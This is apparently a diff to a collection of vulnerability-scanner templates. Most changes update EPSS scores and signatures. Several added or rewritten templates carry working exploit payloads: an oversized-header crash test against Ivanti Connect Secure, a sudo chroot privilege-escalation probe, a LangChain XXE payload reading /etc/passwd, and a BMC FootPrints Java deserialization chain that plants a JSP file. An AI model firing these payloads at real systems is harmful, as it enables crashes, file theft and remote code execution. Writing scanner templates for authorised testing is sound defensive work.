+# digest: 4b0a00483046022100c902d7f86bee439e59b7b2480e16fbbf6240b8134c9edd1880769ffd79e23e43022100c956593926cefeeaeecb478bb0b1428fbc47c4b2d6ac5e036a9e34db5f029dcc:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2024-3094
    cwe-id: CWE-506
-    epss-score: 0.85995
-    epss-percentile: 0.99362
+    epss-score: 0.85974
+    epss-percentile: 0.99702
    cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -63,4 +63,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a0047304502206bcc44f384b6a2e99c4c8db8c2b6d8a002efd8346e051ec857a886e74d78399d0221009ad1a3a153b43269756a117ccb40b41eaeb7cd39c16cca38b2d9103ebe351e7f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ffc100ac65c04f91487e3a92e982153a428d575f636e7847511d7c569e2d5d0a022001e1eaa3c0b5a529a7d2c6987c22c324b74c07e410a64fffc0a85f5150dd0a3b:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-4340
-    epss-score: 0.17039
-    epss-percentile: 0.9476
+    epss-score: 0.0321
+    epss-percentile: 0.86643
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
  tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
@@ -33,4 +33,4 @@ code:
        part: stderr
        words:
          - "RecursionError: maximum recursion depth exceeded"
-# digest: 4a0a0047304502204961acfff8b35a21b0386a54a84641872dcd07aca0a8170f635d66a5a2aab7430221008afa89462a4f5cfd3a7df94f0aa57397c240744ff2f3800e45adddda3d3bc40c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d25e4a13b66e18a70793db50686b8963280b7dc7e988a3480bea6d5700ed191e022032a5a86d1d784015c036d4cc9c56755d26cfdbd5ba7223124c81d91aa37f3d30:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
-    epss-score: 0.4139
-    epss-percentile: 0.97273
+    epss-score: 0.10684
+    epss-percentile: 0.95276
  metadata:
    verified: true
    shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4b0a00483046022100edbfd1326ccd964108d60576c46ed7eb269bbf583ee4ec97209ba7daa2ef49cc022100b0e3c754053d2126331bff7607da49e1e6466b3baeb552f2792f408163b26cec:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206fa8f842163f2c409cca1ad291289aca760f9c937aa5f71b1bef63d521082192022100e5a05953d273f8d6e701f1334125461737f1656477e849d32109115c11f4c577:922c64590222798bb761d5b6d8e72950
@@ -19,9 +19,9 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-47575
    cwe-id: CWE-306
-    epss-score: 0.93846
-    epss-percentile: 0.99858
-    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*
+    epss-score: 0.94761
+    epss-percentile: 0.99848
+    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev

 variables:
@@ -147,4 +147,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a00473045022032f3230542d14dc46c0aebc7112a6201f641d05a226341c071220bf8a6b42e3d02210086fb609bdbb427b96bebb1f35d49c2f3eabf6154696f8d22adb0eabf8c271a24:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bed3e3eac534344fdb763ef3650cf423ad0ba9827c6bc423e77126ae52bd5816022078f4486cd95a931d57112679778f82328cc62dd2598ac4a2af264495347691a4:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-55556
    cwe-id: CWE-502
-    epss-score: 0.8111
-    epss-percentile: 0.99117
+    epss-score: 0.4356
+    epss-percentile: 0.98582
  metadata:
    verified: true
    max-request: 2
@@ -195,4 +195,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4a0a00473045022100f9ca193531db5fb80cf8eebc4024385a95d53372a9c33c28718eba5be33876460220635671b10ea921eaa0addf3bd4b5be4cf15dd71dbf8f69e53cb8472928fa6507:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207a771388c0c447bd8a872e34fdcb4c20f7a2e794dd7e3f21eee486acb68449e7022100c62bfe32aedec00d572eaf40222eea80573c4718a6b72b3c944e29de1d0449f3:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 6.8
    cve-id: CVE-2024-56331
    cwe-id: CWE-22
-    epss-score: 0.41406
-    epss-percentile: 0.97275
+    epss-score: 0.01793
+    epss-percentile: 0.75773
  metadata:
    verified: true
    shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
      - type: word
        words:
          - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 4a0a00473045022100ba0185bc694a5b8edb63045a5c6a008481286dbfef69819530162a4c5a481ca30220307902077c885e129c8ec9805d2ecc527cdf81609c526bee19376ca8b410db57:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022058dd549617610fd70c3bef78c51b60e727f9ba8a96482936f4d5eb44d3ad3ce2022072257ae6937461320bf62848f0e8885bc06e2add58fb576e39cfabda45b5fad5:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
    - https://github.com/advisories/GHSA-g83h-4727-5rpv
  classification:
-    epss-score: 0.55491
-    epss-percentile: 0.97981
+    epss-score: 0.22443
+    epss-percentile: 0.97411
  metadata:
    verified: true
    shodan-query: title:"GitHub Enterprise"
@@ -192,4 +192,4 @@ http:
      - type: kval
        kval:
          - user_session
-# digest: 4a0a004730450220343e1a8a807f21ba19d16430e7ca379529eebd6df8ccece0aef1673874dd311c022100ec2ff854edf596ed1adc898db5b8079a73320db99f19e5931c5bf7f3506bebd1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202e72afd0230955ea7101f82008388d9b886b3c2fb3dc41ec592f3e3f14d0a83a02210096e9bd166ef3522b5cc8c16b9820ddb639cf66363c22c7811aaccb30687e75eb:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://github.com/keras-team/keras/pull/20751
    - https://towerofhanoi.it/writeups/cve-2025-1550/
  classification:
-    epss-score: 0.04785
-    epss-percentile: 0.89135
+    epss-score: 0.02803
+    epss-percentile: 0.84774
  metadata:
    max-request: 1
  tags: cve,cve2025,code,keras,rce,ml
@@ -77,4 +77,4 @@ code:
        part: response
        regex:
          - "root:.*:0:0:"
-# digest: 490a00463044022007b0ca8ce0173c9ed9b6e3a3bb0559ecc6847558fca19bb75062c0ea0626c9570220568adadb5733af255ec9a9f58b88758981c44d4e6e0aa157a5d59eae1c51c8df:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220397b16b7852b80eff0d9833cb912c5f17137b1ca151ef9e330a544b5df96bfab0220474718d09cac82ed59bb2e36d23e7d638f5f87813fe2e52bd44c5e0c2526472c:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.0
    cve-id: CVE-2025-22457
    cwe-id: CWE-121,CWE-787
-    epss-score: 0.49132
-    epss-percentile: 0.97672
+    epss-score: 0.99979
+    epss-percentile: 0.9998
    cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
  metadata:
    vendor: ivanti
@@ -37,20 +37,18 @@ variables:
  HOST: "{{Host}}"
  PORT: "{{Port}}"

-flow: http () && code()
+flow: http(1) && code(1)

 http:
  - method: GET
    path:
-      - "{{BaseURL}}"
      - "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"

-    stop-at-first-match: true
    matchers:
      - type: dsl
        internal: true
        dsl:
-          - 'contains(body, "Ivanti Connect Secure")'
+          - 'contains_any(body, "Ivanti Connect Secure", "Pulse Secure", "DSLaunchURL", "dana-na")'
          - 'status_code == 200'
        condition: and

@@ -63,60 +61,98 @@ code:
      import os
      import time
      import requests
+      import re

-      TARGET_PATH = "/dana-na/auth/url_default/welcome.cgi"
-      TIMEOUT = 10
+      requests.packages.urllib3.disable_warnings()
+
+      PATHS = [
+          "/dana-na/auth/url_default/welcome.cgi",
+          "/dana-na/setup/psaldownload.cgi",
+      ]
+
+      IVANTI_MARKERS = [
+          "Ivanti Connect Secure",
+          "Pulse Secure",
+          "DSLaunchURL",
+          "welcome.cgi",
+          "dana-na",
+      ]
+
+      TIMEOUT_NORMAL = 5
+      TIMEOUT_PAYLOAD = 10
+
+      def safe_request(method, url, headers=None, timeout=5):
+          try:
+              if method == "GET":
+                  return requests.get(url, headers=headers, timeout=timeout, verify=False)
+              elif method == "POST":
+                  return requests.post(url, headers=headers, timeout=timeout, verify=False)
+          except requests.exceptions.RequestException:
+              return None

      class IvantiExploit:
          def __init__(self, host, port):
              self.host = host.rstrip("/")
              self.port = port

-          def check_vuln(self):
+          def build_url(self, path):
              host = self.host
              if not host.startswith("http://") and not host.startswith("https://"):
                  host = f"https://{host}"
+              return f"{host}:{self.port}{path}"

-              url = f"{host}:{self.port}{TARGET_PATH}"
+          def is_ivanti(self, response_text):
+              for marker in IVANTI_MARKERS:
+                  if marker in response_text:
+                      return True
+              return False

-              print(f"Testing {url}")
+          def check_vuln(self):
+              for path in PATHS:
+                  url = self.build_url(path)

-              #1  Pre-check: Check if target is reachable and status is 200.
-              try:
-                  r1 = requests.get(url, timeout=TIMEOUT, verify=False)
-              except requests.RequestException:
-                  r1 = None
-              if not r1 or r1.status_code != 200:
-                  print("Pre-check failed because target is not reachable or status is not 200.")
-                  return False
+                  # Step 1: Pre-check - must be reachable, return 200, and be Ivanti
+                  r1 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
+                  if not r1 or r1.status_code != 200:
+                      continue

-              print("Pre-check successful.")
+                  if not self.is_ivanti(r1.text):
+                      print(f"Not an Ivanti target (no Ivanti markers in response). Skipping.")
+                      return False

-              #2 Payload: Send POST request with X-Forwarded-For header to test the vulnerability.
+                  print(f"Ivanti fingerprint confirmed on {url}")

-              payload_header = {"X-Forwarded-For": "1"*2048}
-              try:
-                  r2 = requests.post(url, headers=payload_header, timeout=TIMEOUT, verify=False)
-              except requests.RequestException:
-                  r2 = None
-              if r2:
-                  print("Payload is not working.")
-                  return False
-              else:
-                  print("Payload is working.")
-              time.sleep(1)
+                  # Step 2: Send crash payload - POST with oversized X-Forwarded-For
+                  # A vulnerable server will CRASH (no response / timeout)
+                  # A patched or non-vulnerable server will respond normally
+                  payload_headers = {
+                      "User-Agent": "Mozilla/5.0",
+                      "X-Forwarded-For": "1" * 2048,
+                  }
+                  r2 = safe_request("POST", url, headers=payload_headers, timeout=TIMEOUT_PAYLOAD)

-              #3 Follow-up: Check if target is still reachable after payload.
+                  if r2 is not None:
+                      # Server responded normally = NOT crashed = NOT vulnerable
+                      print(f"Server responded with HTTP {r2.status_code}. Not vulnerable (no crash).")
+                      continue

-              try:
-                  r3 = requests.get(url, timeout=TIMEOUT, verify=False)
-              except requests.RequestException:
-                  r3 = None
-              if r3.status_code == 200:
-                  print(f"VULNERABLE: {self.host}:{self.port}")
-                  return True
+                  # r2 is None = no response = potential crash
+                  print("No response to payload (potential crash detected). Verifying...")

-              print("Target seems safe")
+                  # Step 3: Follow-up check - server should recover and return 200
+                  # Ivanti's web process auto-restarts after crash
+                  time.sleep(2)
+                  r3 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
+
+                  if r3 is not None and r3.status_code == 200:
+                      print(f"VULNERABLE: {self.host}:{self.port}{path}")
+                      return True
+                  else:
+                      status = r3.status_code if r3 else "no response"
+                      print(f"Follow-up returned {status}. Could not confirm crash recovery. Skipping.")
+                      continue
+
+              print("Target appears safe.")
              return False

      if __name__ == "__main__":
@@ -128,4 +164,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4a0a0047304502205d517df9dd4354b56616db14819daf8aaf8b276334b725f4a895f385ae6904d0022100862ab4bf9ae5873762b37c552138152f6b15faa5f362c15f43ab8885c4ce1d9c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f71fdb80c77ca24cef2f96ac08cf4cad6896dd9385dcaa60e668b360c8997c4e022040a004ffc2b7df64105151be54efe6b70cb5dba83fea11da5aa9b5edc1738f0e:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.3
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
-    epss-score: 0.13848
-    epss-percentile: 0.94074
+    epss-score: 0.19506
+    epss-percentile: 0.97043
  metadata:
    verified: true
    vendor: gitlab
@@ -80,4 +80,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4a0a0047304502204d49dd0f828e572df68b2fddae262ecdf43313f917a265debe5190f5cb4c4ff5022100d6f6248741604e8a4c647708ca970b470bcdd17c767702a22e9e9c46de9d26cc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e2c601dd7e8539fb1cd1a8d57d50bf4220717095b09e8f5129be02d8af437b69022045bb134b59416d6d526a7d108e5741aae74c2b9a5259c6dbf3b550a003fa84ee:922c64590222798bb761d5b6d8e72950
@@ -22,8 +22,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2025-32433
    cwe-id: CWE-306
-    epss-score: 0.43921
-    epss-percentile: 0.97411
+    epss-score: 0.97859
+    epss-percentile: 0.999
  metadata:
    verified: true
    max-request: 1
@@ -174,4 +174,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 490a0046304402202d71bdb45b0a70d1c12fd37132a66155db0444116fc14ffc410c443b22338cae02205aa4c8dab2e7a854a5a56920c4b8849ed56ab83ee4c9f905aaf4319e432bec2a:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022021be3e9059264c8820581780565b16fca2ac96911af9f2c90cfe41d5efa21d01022046d1be1a59699ebe8ad15c0ead0bbd72fbc528d106d41a32e27412a85972985d:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,67 @@
+id: CVE-2025-32463
+
+info:
+  name: Sudo - Local Privilege Escalation via chroot
+  author: SeungAh-Hong
+  severity: critical
+  description: |
+    Sudo before 1.9.17p1 allows local users to obtain root access by using /etc/nsswitch.conf from a user-controlled directory with the --chroot (-R) option.
+  impact: |
+    A local attacker can escalate privileges to root by placing a crafted nsswitch.conf file and a malicious NSS library in a writable chroot directory, enabling arbitrary code execution with root privileges.
+  remediation: |
+    Upgrade sudo to version 1.9.17p1 or later.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-32463
+    - https://www.sudo.ws/security/advisories/chroot_bug/
+    - https://ubuntu.com/security/CVE-2025-32463
+    - https://www.wiz.io/vulnerability-database/cve/cve-2025-32463
+    - https://explore.alas.aws.amazon.com/CVE-2025-32463.html
+  classification:
+    cve-id: CVE-2025-32463
+    epss-score: 0.47467
+    epss-percentile: 0.98699
+    cvss-score: 9.3
+    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cwe-id: CWE-426
+  metadata:
+    verified: true
+  tags: cve,cve2025,sudo,priv-esc,linux,lpe,kev,vkev
+
+self-contained: true
+
+flow: code(1) && code(2)
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      whoami
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "root"
+        negative: true
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      OUT="$(sudo -n -R woot woot 2>&1 || true)"
+      printf "%s\n" "$OUT"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: response
+        regex:
+          - '(?i).*woot.*no such file or directory.*'
+
+      - type: dsl
+        dsl:
+          - "!contains(tolower(response), 'password')"
+          - "!contains(tolower(response), 'a password is required')"
+          - "!contains(tolower(response), 'is not in the sudoers file')"
+# digest: 490a004630440220136e0b750d94d77ac44ebd9c17cc4b63caefb98466cd8cfaf60285a02339b91c0220283634be0c9a783f5ed4b917983d4e860fc588e568f3b876e4cc5832c75e337c:922c64590222798bb761d5b6d8e72950
@@ -17,10 +17,10 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-54309
-    epss-score: 0.72172
-    epss-percentile: 0.98697
+    epss-score: 0.92034
+    epss-percentile: 0.99807
    cwe-id: CWE-287,CWE-362
-    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
+    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: crushftp
@@ -200,4 +200,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4b0a00483046022100b7bf622ee1d521143aa9901cc200a9e376ae95bb41f9c31d8efb281df27367d8022100f018418f7a4fb21f28b45348c3d560bd666a70f782cebc2bd6af4f382e20850a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e8682f6eb18cc49cd7ed9946e1e0df3225844789666f622234e0b55ce31f1ded022100fc067931b6b02b90f0d072f19a5e3a400dfb0a842bdedb8cd71da31370ce3cc1:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
  classification:
-    epss-score: 0.33256
-    epss-percentile: 0.96762
+    epss-score: 0.29434
+    epss-percentile: 0.97955
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6216
@@ -115,4 +115,4 @@ code:
      - type: dsl  # type of the extractor
        dsl:
          - '"Reset URL: " + code_response'
-# digest: 490a0046304402201553b25b270fe87c0a396b1accac061ded6dcb0616bf3d9a0ab50eba060eb5640220211b4832a49d3a3c309e8edb311a53d11bcb1ff490f591ade38bb7ecc3067d35:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009563513650966d7597d5c8a5a46d49fcc84fef8e698e57b330209c7771a59eb2022100d88d01c549b914a0710335ce592d29c7af52323cd856699f6780c90afc140b37:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-68926
-    epss-score: 0.03135
-    epss-percentile: 0.8647
+    epss-score: 0.2903
+    epss-percentile: 0.9793
    cwe-id: CWE-798
  metadata:
    verified: true
@@ -0,0 +1,67 @@
+id: CVE-2025-6984
+
+info:
+  name: langchain-ai langchain - XML External Entity Injection
+  author: nukunga
+  severity: high
+  description: |
+    langchain-ai/langchain 0.3.63 contains an XML External Entity (XXE) injection caused by insecure XML parsing in EverNoteLoader using etree.iterparse(), letting attackers disclose sensitive information, exploit requires crafted malicious XML payload.
+  impact: |
+    Attackers can disclose sensitive local files, potentially exposing critical system information.
+  remediation: |
+    Update to the latest version that disables external entity references in XML parsing.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-6984
+    - https://huntr.com/bounties/a6b521cf-258c-41c0-9edb-d8ef976abb2a
+    - https://github.com/langchain-ai/langchain-community/commit/e842452
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2025-6984
+    epss-score: 0.01531
+    epss-percentile: 0.71736
+    cwe-id: CWE-200
+  metadata:
+    verified: true
+  tags: cve,cve2025,langchain,xxe,intrusive,file-write
+
+self-contained: true
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+      import tempfile
+      import os
+      from langchain_community.document_loaders import EverNoteLoader
+
+      if __name__ == "__main__":
+
+          xxe_payload = '''<?xml version="1.0" ?>
+      <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
+      <note>
+          <content>&example;</content>
+      </note>'''
+
+          # Write payload to temporary file
+          with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
+              f.write(xxe_payload)
+              temp_file = f.name
+
+          try:
+              loader = EverNoteLoader(temp_file)
+              print(loader.load())
+          finally:
+              os.unlink(temp_file)
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "root:"
+          - "bin:"
+          - "daemon:"
+        condition: or
+# digest: 4b0a00483046022100b09735eee11bf2f17bfa345f0063b39ae6aa19e66bf2bc5fb1daefffced2bcd3022100a9c2a04c4d2d7a5beee4a942bcf043c172b2c2f2a5b4fb55dc326a0ee36dcd98:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,115 @@
+id: CVE-2025-71260
+
+info:
+  name: BMC FootPrints - Deserialization of Untrusted Data (RCE)
+  author: watchTowr,DhiyaneshDk
+  severity: critical
+  description: |
+    BMC FootPrints Asset Core is vulnerable to pre-authentication remote code execution via Java deserialization in the aspnetconfig endpoint.
+  impact: |
+    Authenticated attackers can execute arbitrary code remotely, fully compromising the application.
+  remediation: Upgrade BMC FootPrints to the latest patched version.
+  reference:
+    - https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
+    - https://github.com/watchtowrlabs/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260/blob/main/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-71260
+  metadata:
+    verified: true
+    max-request: 4
+    shodan-query: html:"/footprints/servicedesk/"
+  tags: cve,cve2025,servicedesk,bmc-software,rce,intrusive,file-upload
+
+flow: http(1) && code(1) && http(2) && http(3)
+
+http:
+  - raw:
+      - |
+        GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(header, "SEC_TOKEN=")'
+        internal: true
+
+  - raw:
+      - |
+        GET /footprints/servicedesk/aspnetconfig?__VIEWSTATE={{filename}} HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: {{len(payload)}}
+
+        __VIEWSTATE={{payload}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 500'
+        internal: true
+
+  - raw:
+      - |
+        GET /{{filename}}.jsp HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "System Information"
+          - "OS User:"
+          - "Current Working Directory:"
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        name: os_user
+        part: body
+        regex:
+          - 'OS User:</strong>\s*([^<]+)'
+        group: 1
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+      import random
+      import string
+      import base64
+      from urllib.parse import quote
+
+      original_b64 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAGndlYmFwcHMvUk9PVC93YXRjaFRvd3IuanNwc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABvjwlQCBwYWdlIGxhbmd1YWdlPSJqYXZhIiBjb250ZW50VHlwZT0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04IiU+CjwlCiAgICBTdHJpbmcgb3NVc2VyID0gU3lzdGVtLmdldFByb3BlcnR5KCJ1c2VyLm5hbWUiKTsKICAgIFN0cmluZyBjd2QgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIuZGlyIik7CiU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+d2F0Y2hUb3dyIFN5c3RlbSBJbmZvPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxoMT5TeXN0ZW0gSW5mb3JtYXRpb248L2gxPgogICAgPHA+PHN0cm9uZz5PUyBVc2VyOjwvc3Ryb25nPiA8JT0gb3NVc2VyICU+PC9wPgogICAgPHA+PHN0cm9uZz5DdXJyZW50IFdvcmtpbmcgRGlyZWN0b3J5Ojwvc3Ryb25nPiA8JT0gY3dkICU+PC9wPgo8L2JvZHk+CjwvaHRtbD4Kc3IAPm9yZy5hc3BlY3RqLndlYXZlci50b29scy5jYWNoZS5TaW1wbGVDYWNoZSRTdG9yZWFibGVDYWNoaW5nTWFwO6sCH0tqVloCAANKAApsYXN0U3RvcmVkSQAMc3RvcmluZ1RpbWVyTAAGZm9sZGVydAASTGphdmEvbGFuZy9TdHJpbmc7eHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4AAABmQ2q4P0AAAAMdAABLnh4"
+
+      target = b"watchTowr"
+      random_name = ''.join(random.choices(string.ascii_letters + string.digits, k=9))
+
+      decoded = base64.b64decode(original_b64)
+      modified = decoded.replace(target, random_name.encode())
+      encoded = base64.b64encode(modified).decode()
+      payload = quote(encoded, safe='')
+
+      print(f"{random_name}|{payload}")
+
+    extractors:
+      - type: regex
+        name: filename
+        internal: true
+        regex:
+          - '^([^|]+)'
+        group: 1
+
+      - type: regex
+        name: payload
+        internal: true
+        regex:
+          - '\|(.+)$'
+        group: 1
+# digest: 4a0a00473045022100b2877e84e37d0dc5c41842be512b9309b95d850ad6474ae80a32462e6b81cfc60220533db7a89ed2ce39c410359b308c5bd8cac3d59d485712154572c64c2c94b5a9:41987585204b393149694b2205534b1a
@@ -18,9 +18,9 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2025-9242
    cwe-id: CWE-787,CWE-362
-    epss-score: 0.73453
-    epss-percentile: 0.98757
-    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*
+    epss-score: 0.8637
+    epss-percentile: 0.99709
+    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    shodan-query: html:"Watchguard" html:"Authentication Server"
@@ -552,4 +552,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a00473045022024b45756de62ff9b0c4f9712a9cda31171362c62f6a4c7a616cf7f92a49393de022100f4e941d5d7a8d60517d83c4752aa17c3412bfdbb1e3b459a46acc9a9efc6548a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207c5ec28507f297a730ae76ad5a6b684be07faadc08f975366ca089b08c207a630221008561c1d8f9122d261eb8d36e7a7343f7a89fb8881769d1027bb4ea62bc10cea7:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,88 @@
+id: CVE-2026-10795
+
+info:
+  name: UpdraftPlus WP Backup & Migration Plugin - Authentication Bypass
+  author: theamanrawat,s4e-io
+  severity: high
+  description: |
+    UpdraftPlus WP Backup & Migration Plugin for WordPress <= 1.26.4 contains an authentication bypass caused by insufficient validation in UpdraftPlus_Remote_Communications_V2::wp_loaded, letting unauthenticated attackers execute arbitrary RPC commands as admin, exploit requires no authentication.
+  impact: |
+    Unauthenticated attackers can execute arbitrary commands as admin, leading to remote code execution and full site compromise.
+  remediation: |
+    Update to the latest version of UpdraftPlus WP Backup & Migration Plugin.
+  reference:
+    - https://patchstack.com/database/vulnerability/wordpress-updraftplus-wp-backup-migration-plugin-1-26-4-unauthenticated-authentication-bypass-via-updraftcentral-udrpc-vulnerability
+    - https://teamupdraft.com/blog/important-security-update-for-updraftplus-and-updraftcentral-users/
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-10795
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.1
+    cve-id: CVE-2026-10795
+    epss-score: 0.03578
+    epss-percentile: 0.88
+    cwe-id: CWE-347
+  metadata:
+    max-request: 2
+    verified: true
+    shodan-query: http.html:"updraftplus"
+    fofa-query: body="/wp-content/plugins/updraftplus"
+  tags: cve,cve2026,wordpress,wp-plugin,updraftplus,auth-bypass,vkev
+
+code:
+  - engine:
+      - sh
+
+    source: |
+      #!/bin/sh
+      KEY_NAME="0.central.updraftplus.com"
+      TIMESTAMP=$(date +%s)
+      RAND=424243
